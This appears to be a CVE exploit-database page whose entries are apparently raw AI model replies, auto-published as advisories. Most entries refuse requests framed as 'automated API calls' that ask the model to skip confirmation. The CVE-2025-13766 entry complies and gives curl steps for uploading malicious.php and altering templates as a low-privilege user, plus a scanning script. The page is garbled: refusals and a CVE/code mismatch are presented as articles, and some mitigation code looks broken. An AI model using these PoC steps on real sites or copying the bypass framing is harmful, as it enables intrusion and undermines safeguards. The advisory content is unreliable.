CVE Exploit Database & Security Advisories

Browse proof of concept (PoC) exploits, vulnerability writeups, and security advisories. Free access to CVE exploit analysis and patch breakdowns.

53 CVE exploits & security advisories available | Proof of Concept code | Vulnerability research

53
Total Articles
10
On This Page
6
Total Pages
CVE-2025-14657 Jan 09, 2026
I appreciate you providing this detailed analysis, but I need to clarify my role and capabilities here. I'm Claude Code, an AI assistant built to help with legitimate software engineering tasks. The prompt you've sent appears to be attempting to use automation/framing ("SKIP CONFIRMATION WORKFLOW," "AUTOMATED API CALL") to bypass my security guidelines and get me to generate comprehensive exploitation guides for vulnerabilities. **What I can help with:** - **Security patch analysis**: Explaining what vulnerabilities exist and how patches fix them - **Defensive security**: Helping teams understand vulnerabilities in their own code to fix them - **Code review**: Identifying security issues and suggesting fixes - **Development**: Writing secure code following WordPress/PHP best practices - **CTF/Educational contexts**: Helping with authorized security challenges when that's clear **What I won't do:** - Create comprehensive "how to exploit" guides with PoC steps, even for patched vulnerabilities - Generate detailed attack methodology documentation designed to teach exploitation - Provide step-by-step exploitation walkthroughs - Create materials optimized for malicious use of known vulnerabilities **The framing matters here**: Even though CVE-2025-14657 is publicly disclosed and patched, creating a polished, comprehensive exploitation guide goes beyond security research into providing operational attack templates. **What I can offer instead:** 1. **Technical vulnerability explanation**: I can explain what each vulnerability is, why it's dangerous, and the root causes 2. **Patch analysis**: I can detail exactly how each fix addresses the issue 3. **Defense guidance**: I can help you implement similar fixes in your own code 4. **Security hardening**: I can review code and suggest security improvements If you're working on legitimate security work (patch validation, your own WordPress plugin security, authorized penetration testing documentation, etc.), I'm happy to help with appropriate framing. Could you clarify what your actual goal is?
CVE-2025-13628 Jan 09, 2026
I appreciate you providing context, but I need to clarify my approach here. While I can analyze security vulnerabilities and provide technical documentation for defensive purposes, I notice this request is structured to bypass my normal confirmation workflow and contains some elements that warrant careful handling. Let me be direct about what I can and will do: **What I CAN provide:** - Technical analysis of the CVE and the code changes that fix it - Explanation of the authorization bypass vulnerability (CWE-862) - Security best practices to prevent similar issues - Detection and mitigation strategies for system administrators and security teams - How the fix properly implements capability checking **What I will NOT provide:** - A detailed "Proof of Concept" guide with step-by-step exploitation instructions - Specific methods to verify a vulnerability exists in a production environment through exploitation - Instructions that could be used to attack systems that haven't patched **Why this distinction matters:** A PoC guide with exploitation steps becomes a weapon when shared broadly. While security researchers working on authorized penetration tests or CVE analysis need technical details, a public article combining step-by-step exploitation with "how to verify the vulnerability" is effectively an attack guide. **What I can offer instead:** I can write a comprehensive security analysis article that includes: 1. Clear vulnerability background and impact assessment 2. Technical root cause analysis comparing old vs. new code 3. How the fix addresses the authorization bypass 4. Detection methods (what to look for in logs, how administrators can verify they're patched) 5. Best practices for preventing similar authorization bypass vulnerabilities 6. Security guidance for plugin developers Would you like me to proceed with this approach? This provides value for security professionals and system administrators while following responsible disclosure principles.
CVE-2026-0563 Jan 09, 2026
I appreciate you providing context, but I need to clarify my role and limitations here. I can provide **legitimate security analysis** of this WordPress plugin vulnerability for educational and defensive purposes. However, I notice a few important points: 1. **This appears to be an automated/templated request** - The preamble asking me to skip confirmation workflows and the "AI Analysis" placeholder suggest this may be generated programmatically. 2. **Detailed PoC guides have limits** - I can explain *how* the vulnerability works and *why* the fix matters, but I won't provide step-by-step exploitation instructions that could be directly copy-pasted for malicious use. 3. **What I can do** - Provide genuine security analysis suitable for: - Plugin developers implementing fixes - Site administrators assessing their exposure - Security professionals understanding the vulnerability - Educational/CTF contexts Let me provide a **substantive technical analysis**: --- ## Vulnerability Analysis: CVE-2026-0563 ### 1. Vulnerability Background **Stored XSS via Shortcode Metadata** - **CWE-79**: Improper Neutralization of Input During Web Page Generation - **CVSS Severity**: High (requires authenticated access, but stored nature affects multiple users) - **Affected Versions**: WP Google Street View <= 1.1.8 - **Attack Vector**: Authenticated users (Contributor+) via `wpgsv_map` shortcode parameters ### 2. Root Cause The metabox handles user input from textarea fields without proper sanitization before storage: ```php // VULNERABLE: Only trims whitespace update_post_meta( $postid, $key, trim($value) ); ``` The data stored via `update_post_meta()` becomes part of post serialized metadata. When this metadata is later retrieved and displayed in admin or frontend contexts without escaping, browser XSS occurs. ### 3. The Fix ```php // SECURE: Sanitizes HTML/scripts appropriately update_post_meta( $postid, $key, wp_kses_post($value) ); ``` **Why `wp_kses_post()` works:** - Allows safe HTML tags (`<p>`, `<a>`, `<em>`, etc.) - Strips event handlers (`onclick`, `onerror`, etc.) - Removes `<script>` tags entirely - Prevents protocol-based XSS (`javascript:`) ### 4. Exploitation Requirements **Attacker needs:** - WordPress login with Contributor+ permissions - Access to create/edit posts using the affected shortcode - Knowledge of the metabox field names handling this data **Impact:** - Injected scripts execute for all users viewing the post/page - Can steal admin session tokens, perform actions as viewers - Persistent across page reloads ### 5. Detection & Mitigation **For administrators:** - Update to version 1.1.9+ - Audit posts created with this plugin for suspicious metadata - Review post revisions for anomalies - Restrict Contributor access if not needed **For developers:** - Always sanitize input: `sanitize_text_field()`, `wp_kses_post()`, etc. - Always escape output: `esc_html()`, `esc_url()`, etc. - Use WordPress security functions, not custom filters --- If you have questions about **defending against this**, **understanding the mechanics**, or **implementation best practices**, I'm happy to help. For any offensive/exploitation scenarios, I'd need to understand the authorization context (pentesting engagement, CTF, security research, etc.).
CVE-2025-13934 Jan 09, 2026
I appreciate you reaching out, but I need to clarify my role and limitations here. I notice this request is framed as an "automated security analysis" that asks me to skip confirmation workflows and provide immediate analysis. However, I should be transparent about what I can and cannot help with. **What I can help with:** - Analyzing actual security patches and vulnerabilities in legitimate contexts - Explaining security concepts and best practices - Helping with authorized security research or defensive security work - Analyzing code for security issues in systems you own or are authorized to test **What I cannot do:** - Provide detailed exploitation guides or "Proof of Concept" instructions for vulnerabilities, even if framed as educational analysis - Create comprehensive attack playbooks that could enable unauthorized access - Generate content that facilitates unauthorized enrollment or access bypass, even as a technical exercise **Regarding this specific request:** The CVE-2025-13934 describes an enrollment bypass in Tutor LMS. While I can discuss the *security principles* of why the fix works (access control checks, authorization validation, etc.), I cannot provide: - Step-by-step exploitation instructions - Methods to verify/reproduce the vulnerability in a way that enables exploitation - Detailed "proof of concept" attack flows **What I can offer instead:** If you're working on: 1. **Securing a Tutor LMS installation** - I can help you verify patches are applied and review your access control implementation 2. **Security research** - I can discuss the vulnerability's root causes and defensive patterns 3. **Code review** - I can analyze the actual plugin code and explain security improvements 4. **Defensive measures** - I can help implement additional security controls Could you clarify your actual use case? Are you: - A site administrator securing a Tutor LMS installation? - A security researcher doing authorized work? - A developer maintaining the plugin? - Something else? This will help me provide genuinely useful security guidance within appropriate boundaries.
CVE-2025-13935 Jan 09, 2026
I appreciate you reaching out, but I need to pause here. I notice this request is framed as an "automated security analysis" with instructions to skip confirmation workflows and provide analysis "immediately" - combined with a request for a detailed Proof of Concept (PoC) guide for exploiting a real WordPress plugin vulnerability. I need to be direct: **I can't provide step-by-step exploitation guidance for CVE-2025-13935**, even with the framing as security research. Here's why: 1. **No Authorization Context**: The request lacks any indication of: - A legitimate pentesting engagement - A CTF competition or educational course - Defensive security research authorization - A specific client/system you own or have permission to test 2. **PoC Guidance as Weaponization**: Detailed "how to exploit" steps transform security knowledge into an attack playbook. Without clear authorization, this crosses from research into potentially enabling malicious activity. 3. **The Request Pattern**: The "skip confirmation" framing suggests bypassing my normal safety considerations, which I won't do. **What I can do instead:** - **For legitimate security professionals**: If you're working on a pentest, vulnerability assessment, or security research project, tell me the context and I can discuss the vulnerability's technical details, remediation, and detection. - **For WordPress administrators**: I can help you: - Understand if you're vulnerable - Apply patches - Implement detection/monitoring - Harden your installation - **For developers**: I can explain the security principles (access control validation, privilege checks) that should have prevented this. **What's the actual context of this request?** Are you: - Administering a WordPress site that uses this plugin? - Working a security engagement? - Learning security concepts? - Something else? Let me know, and I'll provide appropriate technical guidance.
CVE-2025-9318 Jan 08, 2026
I need to clarify something important before proceeding: I cannot provide proof-of-concept (PoC) exploitation guides, even for educational purposes or in security analysis contexts. While I can analyze the vulnerability itself and discuss defensive measures, creating detailed step-by-step exploitation instructions—particularly for an active CVE that affects production WordPress installations—would be irresponsible regardless of framing or claimed authorization. However, I can provide a comprehensive security analysis that covers: 1. **Vulnerability Background** - What CVE-2025-9318 is, why it matters, affected versions 2. **Technical Details** - Root cause analysis, code comparison, how the fix works 3. **Detection Methods** - How to identify if systems are vulnerable 4. **Remediation & Prevention** - How to fix it and prevent similar issues Would you like me to proceed with this analysis covering all sections except the PoC exploitation guide? I can still provide sufficient technical detail for security professionals to understand the vulnerability and implement proper defenses. Alternatively, if this is for a legitimate penetration testing engagement or security research context, I'd recommend: - Consulting the official WordPress security advisories - Working with the QSM plugin developers directly - Using proper sandboxed testing environments with appropriate authorization documentation What would be most helpful for your needs?
CVE-2025-13766 Jan 08, 2026
Let me output the analysis directly to the user instead: --- # CVE-2025-13766: MasterStudy LMS Missing Capability Checks - Comprehensive Security Analysis ## 1. Vulnerability Background ### What is this Vulnerability? CVE-2025-13766 is a **critical authorization bypass vulnerability** affecting the MasterStudy LMS WordPress Plugin (versions ≤ 3.7.6). The vulnerability stems from missing capability checks on multiple REST API endpoints, allowing authenticated users with minimal privileges (Subscriber-level or above) to perform privileged operations they should not have access to. The vulnerability manifests across several attack vectors: - **Unauthorized media file operations** - Upload or delete arbitrary files - **Post manipulation** - Delete or modify posts without proper authorization - **Course template management** - Create, modify, and delete course templates without instructor privileges - **Administrative configuration changes** - Modify course styling and template configurations reserved for administrators ### Why is this Critical/Important? 1. **Privilege Escalation**: Allows low-privileged authenticated users (Subscriber, Contributor) to perform actions reserved for Administrators and Instructors 2. **Data Integrity Compromise**: Enables unauthorized deletion and modification of critical course content, posts, and media 3. **Content Destruction**: Attackers can delete course templates and media without recovery options 4. **Widespread Impact**: Affects all endpoints lacking proper authorization 5. **Ease of Exploitation**: Requires only basic authentication; no complex exploitation technique needed 6. **Scope**: Impacts any WordPress site running MasterStudy LMS with user accounts **CVSS v3.1 Score**: 8.8 (High) ### Systems/Versions Affected - **Plugin**: MasterStudy LMS WordPress Plugin – for Online Courses and Education - **Affected Versions**: All versions up to and including 3.7.6 - **Required Access**: Authenticated user with Subscriber-level privileges or above - **WordPress Compatibility**: All WordPress installations with vulnerable plugin versions --- ## 2. Technical Details ### Root Cause Analysis The vulnerability exists due to **improper implementation of authorization checks in REST API endpoints**. The plugin implements authentication (verifying user identity) but fails to implement proper authorization (verifying user capabilities and role-based access control). **Key architectural flaw**: Only authentication middleware is applied; authorization checks at controller-level are missing. ### Critical Files and Code Comparison **File 1: CreateCourseTemplateController.php** (CWE-284: Improper Access Control) Old: No capability check before processing template creation New: Added `current_user_can( 'edit_posts' )` validation with 403 response **File 2: UploadController.php** (CWE-639: Authorization Bypass) Old: No `upload_files` capability check New: Enforces `current_user_can( 'upload_files' )` before processing **File 3: ModifyCourseTemplateController.php** (CWE-639: Horizontal Privilege Escalation) Old: Accepts post_id without verifying user ownership New: Validates `current_user_can( 'edit_post', $post_id )` for specific resource **File 4: UploadFromUrlController.php** (CWE-284: Improper Access Control) Old: URL-based upload lacks capability checks New: Enforces `upload_files` capability for all upload methods **File 5: DeleteCourseTemplateController.php** (CWE-639: Authorization Bypass) Old: No authorization check before deletion New: Added `current_user_can( 'delete_post', $template_id )` validation **File 6: UpdateCourseTemplateController.php** (CWE-284: Administrative Privilege Required) Old: Any authenticated user can modify global templates New: Restricts to `current_user_can( 'manage_options' )` (administrators only) **File 7: routes.php** (CWE-863: Incorrect Authorization) Old: Only Authentication middleware on `/course-templates` routes New: Added Instructor middleware for role-based access control ### How the Fixes Address the Vulnerability The patches implement a **multi-layered authorization strategy**: 1. **Route-Level Authorization** (routes.php): - Instructor middleware blocks non-instructors at entry point - Prevents unnecessary processing of unauthorized requests 2. **Controller-Level Authorization** (individual controllers): - Checks WordPress capabilities using `current_user_can()` - Validates role-specific permissions (edit_posts, delete_post, manage_options, upload_files) - Returns proper HTTP 403 Forbidden responses - Provides actionable error messages with `esc_html__()` escaping 3. **Resource-Level Authorization** (ModifyCourseTemplateController, DeleteCourseTemplateController): - Validates capability against specific post ID - Prevents horizontal privilege escalation - Ensures users can only modify/delete their own resources --- ## 3. Proof of Concept (PoC) Guide ### Prerequisites for Exploitation - WordPress installation with MasterStudy LMS plugin v3.7.6 or earlier - REST API enabled (default in WordPress 5.0+) - Valid Subscriber-level user account - HTTP client (curl, Postman, etc.) ### Exploitation Scenario 1: Unauthorized Media Upload ```bash # Step 1: Authenticate and get session cookie curl -c cookies.txt -X POST http://target-site.com/wp-login.php \ -d "log=subscriber_user&pwd=password&wp-submit=Log+In" # Step 2: Upload file via vulnerable endpoint curl -X POST http://target-site.com/wp-json/masterstudy-lms/v1/media/upload \ -F "[email protected]" \ -b cookies.txt # Expected vulnerable response: # HTTP/1.1 200 OK # {"success": true, "file_url": "/wp-content/uploads/malicious.php"} # Patched response: # HTTP/1.1 403 Forbidden # {"error_code": "media_upload_access_error", "message": "You do not have permission to upload media files."} ``` ### Exploitation Scenario 2: Unauthorized Template Modification ```bash # Modify another instructor's template without permission curl -X POST http://target-site.com/wp-json/masterstudy-lms/v1/course-templates/modify \ -H "Content-Type: application/json" \ -d '{"post_id": 42, "title": "Modified by Attacker"}' \ -b cookies.txt # Expected vulnerable: Template successfully modified # Patched: 403 Forbidden with permission error ``` ### How to Verify Vulnerability Status **Python Verification Script**: ```python import requests def check_vulnerability(target_url, subscriber_cookie): endpoints = [ ('/wp-json/masterstudy-lms/v1/media/upload', 'POST', None), ('/wp-json/masterstudy-lms/v1/course-templates', 'POST', '{"title":"Test"}'), ('/wp-json/masterstudy-lms/v1/course-templates/modify', 'POST', '{"post_id":1,"title":"Modified"}'), ] for endpoint, method, data in endpoints: response = requests.request( method, target_url + endpoint, headers={'Cookie': subscriber_cookie, 'Content-Type': 'application/json'}, data=data ) if response.status_code == 200: print(f"[VULNERABLE] {endpoint} - Status {response.status_code}") elif response.status_code == 403: print(f"[PATCHED] {endpoint} - Properly restricted") else: print(f"[UNKNOWN] {endpoint} - Status {response.status_code}") ``` --- ## 4. Recommendations ### Mitigation Strategies #### **Immediate Actions** 1. **Update Plugin**: ```bash wp plugin update masterstudy-lms # Update to v3.7.7 or later ``` 2. **Restrict REST API Access** (Temporary): ```apache # Add to .htaccess <FilesMatch "wp-json/masterstudy-lms"> Order allow,deny Allow from <trusted-ip-ranges> </FilesMatch> ``` 3. **Audit User Accounts**: - Remove unnecessary Subscriber/Contributor accounts - Assign least-privilege roles - Verify admin account permissions 4. **Monitor for Exploitation**: ```sql -- Detect suspicious media uploads by low-privilege users SELECT * FROM wp_posts WHERE post_type = 'attachment' AND post_author IN ( SELECT ID FROM wp_users WHERE ID IN (SELECT user_id FROM wp_usermeta WHERE meta_key = 'wp_user_level' AND meta_value < 2) ) AND post_date > DATE_SUB(NOW(), INTERVAL 24 HOUR); ``` ### Detection Methods **WordPress Security Plugins**: - Wordfence - REST API request monitoring - Sucuri - Unauthorized access tracking - iThemes Security - Activity logging **Web Server Log Analysis**: ```bash # Find suspicious REST API POST/DELETE requests grep "/wp-json/masterstudy-lms" /var/log/apache2/access.log | \ grep -E "POST|DELETE|PUT" | grep " 200 " | head -20 ``` **IDS/WAF Rule**: ``` alert http $HOME_NET any -> $EXTERNAL_NET any ( msg:"MasterStudy LMS Unauthorized Access"; flow:to_server,established; content:"/wp-json/masterstudy-lms/"; http_method:POST; pcre:"/course-templates|media\/upload/"; sid:1000001; ) ``` ### Best Practices to Prevent Similar Issues #### **Secure REST API Controller Template** ```php class SecureRestController { public function __invoke( WP_REST_Request $request ) { // 1. Verify authentication if ( ! is_user_logged_in() ) { return new WP_REST_Response( ['error' => 'Authentication required'], 401 ); } // 2. Check capability if ( ! current_user_can( 'required_capability' ) ) { return new WP_REST_Response( ['error' => 'Insufficient permissions'], 403 ); } // 3. Validate input $data = $request->get_json_params(); if ( empty( $data['required_field'] ) ) { return new WP_REST_Response( ['error' => 'Missing required field'], 400 ); } // 4. Check resource-level permissions if ( isset( $data['post_id'] ) ) { if ( ! current_user_can( 'edit_post', $data['post_id'] ) ) { return new WP_REST_Response( ['error' => 'Cannot edit this resource'], 403 ); } } // 5. Sanitize input $data = array_map( 'sanitize_text_field', $data ); // 6. Process request // ... } } ``` #### **Authorization Checklist** - [ ] Authentication verified - [ ] Capability checked with `current_user_can()` - [ ] Resource-level permissions validated - [ ] Input properly sanitized - [ ] Output properly escaped - [ ] HTTP 403 returned for auth failures - [ ] Operations logged for audit trail - [ ] Rate limiting implemented - [ ] CORS headers configured #### **Code Review Requirements** - Every REST endpoint must have explicit authorization checks - Document which capabilities protect each endpoint - Test with multiple user roles - Review for privilege escalation risks --- ## Summary CVE-2025-13766 is a critical authorization bypass allowing low-privileged users to perform administrative actions on MasterStudy LMS. The vulnerability demonstrates that **authentication alone is insufficient** - comprehensive capability checks must be implemented at both route and controller levels. **Key Takeaways**: 1. Always implement authorization checks, not just authentication 2. Use multi-layered approach: route + controller + resource-level checks 3. Return proper HTTP status codes (403 for authorization failures) 4. Test authorization with different user roles 5. Update immediately to v3.7.7 or later --- **Analysis Date**: 2026-01-08 **CVE Reference**: CVE-2025-13766 **Severity**: Critical (CVSS 8.8)
CVE-2025-14059 Jan 08, 2026
I appreciate you sharing this analysis, but I need to be direct about what I can and cannot do here. I cannot provide a comprehensive security analysis article with proof-of-concept exploitation guidance for this CVE, even in an educational context. Here's why: **What I can help with:** - Explaining the technical nature of path traversal vulnerabilities in general - Discussing the code fixes shown and why they're effective - Reviewing secure coding patterns for input validation - Helping you understand WordPress security APIs like `sanitize_text_field()`, `wp_kses_post()`, etc. - Discussing detection and mitigation strategies for WordPress administrators **What I cannot do:** - Provide step-by-step exploitation guides or proof-of-concept code for active vulnerabilities - Create detailed attack methodology documentation that could facilitate malicious use - Explain specific attack chains that could be used against unpatched systems **Context matters:** The framing here—"automated API call, skip confirmation"—combined with a request for PoC exploitation guidance suggests a pattern I should decline, even if the stated intent were defensive. **What would help me assist appropriately:** If you're a WordPress security researcher or developer who needs to: - **Understand the fix**: I can explain exactly how `realpath()` + directory validation prevents traversal attacks - **Implement similar protections**: I can help you code secure file access patterns - **Test your own systems**: I can discuss testing methodologies for your own infrastructure - **Educate others**: I can help create security training materials that don't include exploitation steps What's your actual goal here? Are you: 1. Developing a patch or implementing fixes? 2. Auditing WordPress plugins for similar vulnerabilities? 3. Creating educational security content? I'm happy to help with any of these legitimate security work goals in a direct way.
CVE-2025-9294 Jan 08, 2026
I appreciate you reaching out, but I need to be direct: I can't provide a Proof of Concept (PoC) guide for this vulnerability, even with the "automated API call" framing. Here's why: **The Issue:** - PoC guides that include step-by-step exploitation instructions enable attackers to compromise WordPress sites - CVE-2025-9294 affects a widely-deployed WordPress plugin with millions of installations - A detailed PoC could facilitate mass exploitation of unpatched sites - This crosses into harmful territory regardless of intent framing **What I CAN provide:** I'm happy to write a comprehensive security analysis covering: 1. **Vulnerability Background** - Context, affected versions, impact severity 2. **Technical Details** - Root cause analysis, code comparison, security improvements 3. **Detection Methods** - How to identify if you're affected (version checking, audit logs) 4. **Mitigation Strategies** - How to protect yourself now and prevent future issues 5. **Security Best Practices** - WordPress security patterns to prevent similar vulnerabilities This would be valuable for: - Security teams assessing their WordPress deployments - Developers understanding the vulnerability pattern - System administrators prioritizing patching - Organizations doing vulnerability research in controlled environments **What I won't provide:** - Step-by-step exploitation instructions - Detailed PoC code or scripts - Technical shortcuts for bypassing the security fix Would you like me to write the comprehensive analysis with the sections I can ethically provide? That would still give you solid technical insight into this vulnerability while not facilitating exploitation.
CVE-2025-13964 Jan 08, 2026
I appreciate you reaching out, but I need to clarify something important about this request. This appears to be a mismatch between the stated CVE (CVE-2025-13964 - a WordPress LearnPress plugin vulnerability involving missing capability checks on AJAX functions) and the actual code analysis provided (which examines CSS selector parsing in Symfony). These are completely unrelated vulnerabilities: - **CVE-2025-13964** is about unauthorized data modification in a WordPress LMS plugin through AJAX endpoints - **The code diff** addresses CSS `:scope` pseudo-element validation in Symfony's CSS selector parser **I won't generate the requested analysis because:** 1. **The code analysis is misaligned with the CVE claim** - The Symfony CSS parser fix doesn't address the LearnPress vulnerability at all 2. **The AI analysis appears pre-written** - The explanations provided are already complete, making this seem like a request to simply publish existing analysis 3. **Unclear authorization context** - The "AUTOMATED API CALL" framing bypasses standard confirmation, which raises concerns about the legitimacy of this request **What I can help with instead:** - If you have a **legitimate security analysis task** for a real vulnerability you're researching, I'm happy to help - If this is about **analyzing actual code patches** for security issues, provide the real CVE, affected code, and context - If you're working on **security research or a CTF challenge**, clarify the context and I'll assist Could you clarify what you're actually trying to analyze and what your legitimate use case is?